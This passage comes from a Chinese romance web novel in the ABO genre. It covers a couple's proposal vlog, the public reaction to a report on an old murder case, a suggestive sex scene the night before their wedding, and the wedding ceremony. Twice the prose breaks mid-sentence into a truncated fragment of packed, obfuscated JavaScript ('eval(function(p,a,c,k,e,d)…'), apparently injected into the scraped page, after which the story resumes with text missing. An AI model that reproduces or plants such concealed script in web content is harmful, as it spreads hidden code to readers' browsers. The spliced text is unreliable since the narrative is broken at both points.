“那说好了,我一定到。”说完轻松的事,黎昭转而向他说明工作进展,“我和海城警方沟通好了,来来回回耗费了一些时间,他们最终决定倾力配合。下决定的是海城的副局,姓方,当年那起案件发生时她在重案组里。” “你现在有空吗?我刚和方局聊完,就在她的办公室外面,方局说如果有机会想和你通一次电话。” 商随很快意识到那是谁,立即答应下来。 女刑警的声音染上岁月的痕迹,却依然和记忆里一样爽利:“是商随吧?好久不见。” “您好,”商随发自内心道,“谢谢您对我的帮助。” 方局和他聊了许久,确定这篇报道是他自己的意思,表明会最大限度支持黎昭的工作。 她最后问:“你还记得吗?当初我告诉你,或许总有一天你能放下,改变你的可能是一个瞬间、一件事,或者一个人。” “能让人把这起案子翻出来,你应该已经放下了?”她打从心底为他高兴,“那个契机是什么?” 商随抬头往外看。 时绮似乎想晒太阳,推开了餐厅和庭院之间的折叠门,夕阳呈现出梦幻清透的玫瑰色,轻柔地将他笼罩其中。 时绮坐在茶桌边,正低头慢慢吃东西,花团锦簇的龙沙宝石在他身边绽放。 多年以前,时绮家租住的庭院也开着这种娇艳欲滴的花朵。 那时他站在庭院里,等待时绮从窗户跳下,一同去参加盛夏夜的庆典。 商随轻声说:“是我爱人。” 70.好日子 @1717177:【分享视频】 [报!消失半年的猫惊喜上线发了一支视频,整整长达十分钟!] [让我看看这是什么好东西……求婚vlog?!小绮要结婚了吗!恭喜恭喜!!] [第一次见到宝宝还在读高中,转眼就给自己找好了饲养员,一定一定要幸福哦。] 这支vlog一半犹如浪漫的电影,另一半因为林言和秦书赫一唱一和,热闹得仿佛现场直播。 拍摄当天阳光明媚,两位主角都是在高清镜头下挑不出瑕疵的美貌,初桃的后期工作毫不费力,只做了最简单的剪辑。 [两边都在准备求婚,是世界上最默契的小情侣!朋友们吵吵闹闹好可爱!] [对象送的铃兰手环好漂亮,果然艺术家的眼光值得信赖,17戴着特别合适,珠宝配美人!] [猫儿拿出来的是什么,日记本吗?请饲主先生倾听我们猫儿的心声(双手合十)(Wink)(星星眼撒娇)] [是哪位朋友说“最后这段是不是不能播”,我停在这里笑了两分钟。] [最后怎么还求出易感期了哈哈哈哈哈哈哈!也太爱了!从纯爱急转直下冲向十八禁。] [大家都在笑,只有我看哭了吗。] [我也看哭了,好喜欢这种浓烈的感情,作为旁观者也会感到幸福。] …… …… [恭喜恭喜,17宝宝准备多久结婚呀!] @1717177:[谢谢,明天。] 这条回复下立即冒出一大堆感叹号。 无数人追着他问这么大的事怎么今天才宣布,时绮暂时没看评论,转而点进热搜。 上个月黎昭的报道发出后得到越来越多关注,终于在近期掀起轩然大波,今天多个平台的热搜第一都是同一件事:海城连环杀人案。 黎昭的报道没有带上私人情绪,更多是将八年前被掩盖的真相完整讲述出来,报道中隐去当事人所有信息,为证明真实性,只有一张截掉面容的照片:雨夜之中,连环杀人犯向身负重伤的少年下跪。 大多数人对此表示同情,得知少年被特易期的监管机构监视长达一个月后,更是遗憾他没能在当初得到公正的待遇,大众对特易期的印象不该一概而论。 但也有少部分人持怀疑态度,个别偏激的在评论区上蹿下跳:为什么时隔多年才把陈年旧事翻出来?只有我一个人觉得写报道的记者收了钱,警方也被收买了吗?? 时绮见那人越说越来劲,顺手回复:脑瘫不算人。 半年前黎昭初步拟好新闻稿将照片寄回,恰巧是商随的生日。 那天晚上,时绮陪着商随一起烧掉了照片。透过跳跃的火光,时绮对上他明亮的眼睛:“据说在生日这天烧掉不好的东西,噩梦就会结束。” “是吗?”商随猜测,“这也是你小时候看过的童话故事?” 见时绮点头,商随不禁笑起来:“手给我。” “干什么。”时绮面露警惕,还是将手递给他。 “嗯,好乖好乖。” “……” 见商随把他当猫猫狗狗逗弄,时绮正要反抗,商随握紧他的手:“结束噩梦的方式不是烧掉照片,而是这样。” 回过神来,时绮走到窗边。 私人岛屿的主别墅外是一望无际的海面,相邻的宾客别墅位于岛屿腹地,苍翠的丘陵如脊线般贯穿全岛,另一边是工作人员的住所和直升机坪。 婚礼的各项事宜都是商随在做决定,时绮原本想和他一起,但现场布置、礼服款式、请柬制式……各式各样的环节令时绮头晕眼花,与他相反,商随挑选起来兴致盎然。确定商随可以一个人完成所有事情,时绮果断把重任交给他。 他们的婚礼最终定在盛夏。 非常巧的是,婚礼的前一天——也就是今天,恰好是七年前他和商随分别的日子。 最初看见日期,时绮怔了一下,不知是不是另一个人有意安排的巧合。 想到沈千俞曾经说过,每年这一天商随都会心情不好,时绮默默做好打算。 上岛之后,他主动提出和商随分开,说是为了在婚礼前保持一点仪式感。 秦书赫恰巧在场,闻言兴致勃勃:“哦!我知道,古时候大婚前双方都不能见面。皇上您如此传统,真令人意想不到!” 秦书赫扭头看向商随:“哥,你要不要给自己加个盖头?” 时绮心里有鬼,眼看秦书赫越说越夸张:“这么多话,你是青蛙转世?” 秦书赫:“您真是明察秋毫,呱呱呱!” 时绮:“……”无敌。 “要分开吗?”商随和他确认。 “嗯,你今晚自己睡。”时绮说得轻描淡写,心里却有些紧张。 所幸商随没看出异常,配合地答应:“那好吧,等你来娶我。” 落日斜照而下,再过不久就会入夜。 时绮走到行李箱边,从最深处抽出一只丝绒质地的袋子,没注意到手机震动: 姜宥宁:[你在房间吗小绮~!我有好东西给你。] 姜宥宁:[哈喽哈喽,听见请回答?] 姜宥宁:[我直接过来了哦。] 时绮从袋子里抽出一只毛茸茸的发箍,他是比着自己头发的颜色买的,白金色猫耳与他发色完美融合。 时绮顺手将发箍戴上,又继续从袋子里掏出一只黑色皮质项圈,下面装饰有叮当作响的金铃铛。 他暂时没去碰配套的牵引绳,而是尝试戴项圈。商随给他戴过类似的东西,但自己准备还是第一次。 不知道是不是戴的太紧,时绮看了一眼镜子,脸颊很快开始发热,他伸出手,想将项圈调松一些。 外面突然传来敲门声:“小绮?你在吗?” 姜宥宁的声音毫无预兆传来,时绮一愣,手忙脚乱开始取项圈。 “等一下——”越着急越解不开针扣,时绮指尖出了一层薄汗。好不容易把项圈摘下,他一把拉开门。 “你在干嘛,怎么一直不开门……” 姜宥宁的目光挪到他脸上,双眼放光尖叫道:“好可爱!” 时绮这才反应过来,他只取了项圈,猫耳朵还在头上。 尖尖翘翘的猫耳一晃一晃,眼看时绮抿紧唇,似乎想把门关上,姜宥宁直接跨了进来:“小绮~打扮成这样要干嘛,晚上不会想去突袭你未来老公吧?” 姜宥宁满脸坏笑,时绮反驳:“我才是老公。” 本来商随就叫他老公。 “好好好,你是你是。”姜宥宁看他的目光都快化开,将手里的袋子塞给他,“哎呀!我原本打算让你们婚后增添一点小情趣,看来可以提前一下。” “?” 时绮打开袋子,黑色衬裙映入眼帘,翻到下面缀满荷叶边的围裙才意识到这是一件女仆装。 相较于一般女仆装,这件要短很多,蓬蓬的双层裙摆花瓣一样散开,时绮目测以他的身高只能堪堪遮住大腿根。 袋子里有配套的头饰、腿环、蝴蝶结手环、装饰蕾丝花边的白丝吊带袜。 姜宥宁:“猫耳白丝女仆装!每个Alpha的梦想,保证商随被你迷得神魂颠倒!” 是不是每个Alpha的梦想不好说,鉴于家里那一柜子各式各样的女装,商随应该对猫耳女仆很感兴趣。 但这个衣服…… 时绮不太好意思,嘟囔道:“我就算不穿,他也神魂颠倒。” 姜宥宁满脸笑容:“嗯嗯嗯,当然了,你就当奖励他。” 得益于丰富的逗猫经验,她以退为进:“那我放这里哦,穿不穿你自己决定。” 姜宥宁走后,时绮犹豫地看向袋子。 反正他都准备……穿一下也没事吧,正好没有合适的衣服。 时绮耗费不少功夫,才把这套裙子整理好。 为方便撕扯,吊带袜做得非常轻薄,时绮小心翼翼将白丝拉到大腿,发现姜宥宁还给他准备了一双配套的小皮鞋。 全部穿好以后,时绮找出一件黑色大外套,将自己从头到脚裹得严严实实,而后戴上帽子,遮住头饰。 他做贼一样推开门,确定周围不会突然蹿出熟人,用最快的速度摸进商随的房间。 商随和沈千俞在海边游泳,房间里没有人影,只弥漫着檀木香薰清冽的气息。 时绮进到套房的卧室,埋头脱外套,他忙着给自己整理裙摆和头饰,没注意外面的房门被人拉开。 商随才洗过澡,头发半干,睡袍式的长外套松松散开。 他对时绮的味道十分敏感,一进门便嗅到若有若无的铃兰香气。 确定自己没弄错,商随脸上流露出饶有兴致的神色。 先前时绮提出分开,他其实有些不愿意。 过去的阴影让他不喜欢今天这个日子,但时绮说婚前需要一点仪式感的模样很可爱,他没办法拒绝。 就像获得大奖之前,总会有一些小小的考验。 现在看来,大奖自己提前跑过来了? 循着淡淡的铃兰香气,商随悄无声息步入卧室,目光倏忽凝住。 时绮背对他,雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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时绮吞了吞口水,指尖情不自禁插进他半湿的头发里。 想着时绮投怀送抱或许有什么隐情,商随单手掐住他的脸,看似温和地问:“怎么打扮得这么漂亮?” 女仆装层层叠叠的裙摆下是柔韧的大腿。因为商随恰好压在中间,时绮没法并拢腿,左腿装饰有腿环,右腿点缀着小小的胭脂痣。 “婚期是你特意选的吗?”受商随的情绪感染,时绮的身体也越来越热,“今天是我们七年前分开的日子。” “你发现了?我想着今天过后就是婚礼,我们会拥有世界上最亲密的关系,不好的事情都留在过去,所以婚期定在明天。”商随意识到什么,眼瞳越来越亮,爱欲令他整个人越发鲜活,“打扮成这样,是想用今天帮我覆盖掉不好的记忆吗?” “不是今天。”在商随略微疑惑的目光里,时绮说,“是以后的每一年。” “以后每年的今天,我们都可以……玩点刺激的,一直到第二天,就是我们的结婚纪念日。” 从准备道具起,这个想法在脑子里转了许久,时绮最后说:“这样的话,以后会有很多个好日子。” 商随看他说完后露出不太好意思的神色,心脏都快融化。 “我爱你,小绮,你真好……” 商随边说边用脸颊蹭他,情动时的信息素犹如能拉丝的糖浆,他被蛊惑一般重复时绮的话:“我们以后会有很多个好日子。” 时绮的裙摆摩擦出簌簌响动,喉结被含住舔舐,骨头都在发酥。 “等等!只能一次。”意乱情迷中,时绮想起要紧事,连忙侧过脸避开商随,“明天我还要结婚。” 如果弄多了,他肯定下不了床。 趁着现在天还没黑,做完后明天他才能爬起来。 “和谁结婚啊,小宝贝?”商随疯了一样贴着他胡言乱语,“把你老公丢掉,和我结婚吧,我一定好好对你。” “……”时绮被他的恶趣味弄得耳根发热,“你别乱说话。” “给我看看,身上还有什么漂亮的装饰。” 他猜测吊带袜应该连在上面,时绮腰上还有一圈固定用的蕾丝。 商随头脑发热,说着就要动手掀他的裙子。时绮按住他的手。 商随正觉得自己是不是太流氓了一点儿,看见Omega指尖泛粉、曲起的膝窝也是嫩生生的颜色,又觉得现在不耍流氓,那只能是阳痿。 他继续调戏时绮:“害羞了吗?” “枕头下面有配套的猫尾巴,遥控器也在。” 商随动作一顿,眸光沉沉看向他。 时绮不怕死地补完后半句:“想看的话你就亲手放。” 71.婚礼 时绮做了一个梦。 梦中依旧是那栋开满无尽夏的小洋楼,和以往不同,少年模样的商随没有画画,而是坐在阳台边,像在尝试模仿另一个人。 他背对时绮,在天空下犹如摇摇欲坠的蝴蝶。 听见动静,少年转过头,见到时绮那一刻睁大眼睛:“你要结婚了吗?” 时绮这才发现自己穿着白色的礼服。 尽管如此,时绮感觉他也没把“我要结婚了”写在脸上,少年却像认定一般,眼里流露出不甘心的神色:“是和谁?” “和你。” 少年愣愣地说:“你已经离开了。” 时绮听见自己说:“我们会在未来重逢。” 他告诉少年,再见时他们都长大了,不再是亲密而特殊的朋友,而是真正意义上的伴侣。 “原来是这样。” 少年若有所思,黯淡的面容逐渐变得鲜活,最后笑着对他说—— “时绮、时绮!”林言的声音令时绮猛地清醒过来,“你怎么一直在走神?” “我……” 时绮张了张口,想说自己今早做了一个极其真实的梦,却死活想不起最后一幕。 话到嘴边,时绮临时改口:“可能是睡太久了。” 他昨晚做完就晕了过去,一觉睡了十个小时,今早醒来依旧身体发软,在床上迷茫地望向天花板。 时绮不免觉得自己先前的决定太过狂野,即使只有一次,没考虑过另一个人变态的精力。 昨晚闹到后面,商随哄着让他只穿围裙。 时绮在甜言蜜语中晕头转向听了话,直接被按进床里,半条命都快没了。 “明天、明天还要结婚…!”时绮在混乱中说,“总不能大家都到了,就我们不到,你稍微,收敛一点……!” 某个美好的关键词打动了Alpha,总算知道不能完全肆无忌惮。 时绮好不容易熬到一次结束,商随很快又兴奋起来,碍于先前答应的要求没有碰他,却自顾自地盯着他……! 为了避免时绮害羞逃跑,商随用睡袍系带绑了他的手,固定在床头。 本来以为这样就彻底结束。但他睡过去没多久,迷迷糊糊中商随似乎又贴上来亲他的脸,最后怕吵醒他,自己去了浴室。 最恐怖的是,经历过这一切后商随居然准点起了床。 时绮在床上赖了半个小时才动弹。要不是他底子太好,只需要最简单的妆面和头发造型,说不定婚礼真得延时。 林言没察觉到时绮眼神飘忽:“你是不是太激动了?今天毕竟是你的大日子。” 正说着,房门被人推开。 “小绮!准备得怎么样?”初桃活泼的声音从门口传来,她旁边跟着应羽然和江砚,前者手里拿着一捧精致的铃兰捧花。 “我来给你送捧花,”应羽然双手向前,“请。” “你不知道昨晚有多搞笑,”林言他们昨晚在海边开派对,闹到后半夜才结束,“我给他们讲了你和商随的故事,大家听得一愣一愣的,都觉得特别浪漫。” “听说你毕业那年的花束是商随送的、还阴差阳错经过应羽然转交,应羽然说他今天必须得把捧花交给你,形成一个闭环。” “我上一次见到随哥就觉得他很眼熟,忍不住一直看。”应羽然笑着说,“时绮当时误以为我对随哥有意思,其实我只是个花童。” 时绮依稀记得那天喝醉之后,自己一直揪着应羽然不放。 他也笑起来,从应羽然手里接过铃兰捧花:“判断失误,无罪释放。” “皇上圣明。”应羽然学着秦书赫的样子说完,又真心实意祝福,“新婚快乐,时绮。” 江砚突然举起手机:“商随说想看看你。” “不行不行,仪式之前不准偷拍。”初桃责问道,“你哪边的?是你说一心向着时绮我才让你过来的!” “当然是时绮这边的,”江砚立即表忠心,“我刚才偷拍商随了,时绮你看。” 时绮十分感兴趣地凑过来。 照片上沈千俞正和秦书赫说话,商随一个人在一旁整理领带,腰上的黑金马甲链熠熠生辉,看上去光彩照人,丝毫不见一丝疲态。 商随和时绮的礼服是同款不同色的定制西服,一黑一白,在小细节上做了不同调整。 两人身上都有许多精致的配饰,时绮没有耳洞,商随给他挑的耳夹。 林言对时绮念经一样道:“他是黑,你是白,他是恶魔你是天使。” 应羽然吐槽:“有点土到我了。” 林言反问:“你不觉得很合适吗?” 应羽然看向照片。 一旦没有时绮在场,商随便显得格外冷淡,即使他没刻意做什么,与生俱来的气质也会给人不好接近的印象。 应羽然:“老套的设定一旦碰上对的人便会爆发出无与伦比的张力,你说得对言师,点了。” 初桃看着照片上的商随,又看看时绮:“你俩建模太好了,今天的婚图一定很完美。” 除了专业的摄影团队,初桃自己带了一只手持相机。 她示意大家一起凑近观看:“我刚才在随哥那边录了像。” 屏幕里初桃拿相机对准化妆间的镜子,正在调整画面:“马上就要举行婚礼了,说点什么吧!” 镜头一转,秦书赫的脸最先出现在屏幕上:“今立商氏为后,正位中宫,愿与绮皇同心共济,琴瑟和鸣——哎小桃姐你别走,什么意思啊嫌我太有文化?” 沈千俞淡淡道:“恭喜,一路走来非常不容易,作为旁观者,七年前和现在都像奇迹。” 说完正经的,沈千俞话锋一转:“时绮在吗?请千万不要和他离婚,不然他极有可能走上违法犯罪的道路。我不想当狱医。” 秦书赫在旁边噗嗤一声:“哈哈哈哈哈哈!沈医生你真幽默!” 镜头转向最后一个人。 “你能说点儿好的吗?”商随毫不客气踹了一脚沈千俞的椅子,再看镜头,变脸一样柔情蜜意道,“小绮现在在做准备吧。” “一会儿见面可以给我亲亲吗?我们宝宝今天一定非常漂亮非常帅气,好想快点见到你。” “哦——”大家看到这里同时发出起哄声。 “是哦是哦!超级漂亮!”初桃看着时绮泛红的耳尖上一晃一晃的蝴蝶耳饰,“完全是闪闪发光小猫咪!” 见时绮不好意思,林言笑得不行:“哎呀,商随真会说话。” 初桃又一次开始录像,将镜头对准当事人:“可以满足皇后娘娘的愿望,和他亲亲吗?” 时绮矜持地回答:“可以吧。” 见林言跃跃欲试,初桃转而看向他:“言言想说什么?” 林言双手合十:“今天是时绮结婚的日子,如果十年后看见这支视频,大概会觉得恍如隔世,就像一年前我也想不到,时绮有一天会和谁结婚。” “商随在吗?要好好对我们家的猫,除了床上不许欺负他。” 初桃发出一声怪笑,时绮啧了声,原本想骂林言,最后也跟着笑起来。 “十年之后我还是会来你们家里玩儿,会和你聊天、打游戏、一起看完一部电影。”林言边说边看向时绮,“就算你嫁给……啊不,就算你娶了商随,也要在你家给我留个位置。” “当然,”时绮认真地说,“放心吧。” “一直以来辛苦了。”林言笑笑,时绮知道他是指腺体退化症,“他拯救了你,你也拯救了他。你们都要过得幸福。” 仪式场地定在森林深处,自半年前确定婚期,陆陆续续往岛上移植了大量无尽夏,近期恰好是开得最盛的时节。 鎏金般的阳光穿过树冠,主场地与宾客座位花团缭绕,仿佛彩雾氤氲的河流自林间穿过。 “江砚,”时绮经过宾客席叫住他,“一会儿我把捧花扔给你们,记得接。” “哎?”江砚一愣,“哦哦好的好的,谢谢。” 正说着,时绮远远看见商随。 Alpha穿着裁剪利落的黑西装,高大挺拔、肩宽腿长,比身后盛放的繁花更为耀眼。 时绮暂时被他美貌的折服,一想到即将和商随建立世界上最亲密的关系,心里充满无法抑制的期待。 但紧接着,脑子里闪过一些少儿不宜的片段。 他今早才发现那身女仆装破破烂烂进了垃圾桶,散发出浓郁的蜂蜜气味。 时绮猛地反应过来,昨晚最后一次去浴室,商随拿了他穿过的围裙和腿环。 见商随朝自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这场婚礼没有司仪,他们一路走过洒满夏日阳光的无尽夏花丛,仿佛穿越层层叠叠的时光隧道。 时安和姜礼坐在最前排,左手边是姜宥宁和黎昭,后者同样扛着相机,正专心致志拍摄。 时安在见到时绮那一刹红了眼眶:“怎么就结婚了?我印象里他还是个小孩子,我真有点儿舍不得。” 时安边说边往旁边看,虞晚一开始还在鼓掌,后面也红了眼睛。 她从包里拿出方巾擦眼泪,商曜轻声和她说着什么,脸上带着欣慰的笑容。 在长辈之中,姜礼是最高兴的一个:“我一直觉得小绮生得太好,很难找到外表和他不相上下的Alpha,就怕在婚礼这天看着不登对。” 姜礼乐呵呵道:“很好很好!小随和他站一块儿跟一对水晶小人似的,非常合适。” 他们的西装领上都装饰有铃兰胸花。商随停下脚步,目光掠过时绮手里的捧花和衣襟上的如灯如露的花朵,只觉得一切恰到好处:“今天这个日子,没有比它更合适的花。” 铃兰花开,幸福归来。 “我希望,以后你的幸福快乐都和我共享。”时绮突然说,“如果没有我,你要过得不幸福也不快乐。” 在场所有人都被不按常理出牌的誓词震撼,很快传来一片笑声。 秦书赫问:“时绮是在诅咒我哥吗?” 林言:“你哥心甘情愿。” 秦书赫:“我也觉得,他看起来狠狠爽到了。” “好,”商随眼里漾开笑意,“我愿意。” 薰风卷起散落的绣球碎瓣,时绮注视他的眼睛,像在看童话里的场景。 “你曾经说,那年夏天遇见我就像童话故事,”仿佛某种奇妙的默契,商随同时问,“从七年前到现在,那本童话的结局怎么样?” 明明是亲朋好友聚集的婚礼,其他人的声音却倏忽变得遥远。 去年冬夜,他在初雪天和商随相拥,那时他以为是相识以来第一个亲密无意间的拥抱。 铃兰的花语包含久别重逢的喜悦,在他不知道的时候,另一个人心怀感激地将这层含义编织进花朝节的手环里。 经历这么多,当然是好结局。 时绮正要开口,脑海中忽然闪过今早的梦境。 梦里的少年与商随的面容逐渐重合,时绮终于想起少年最后说了什么。 他朝商随笑起来,临时改口,说出同样的话—— “是完美无缺的爱情故事。” -正文完-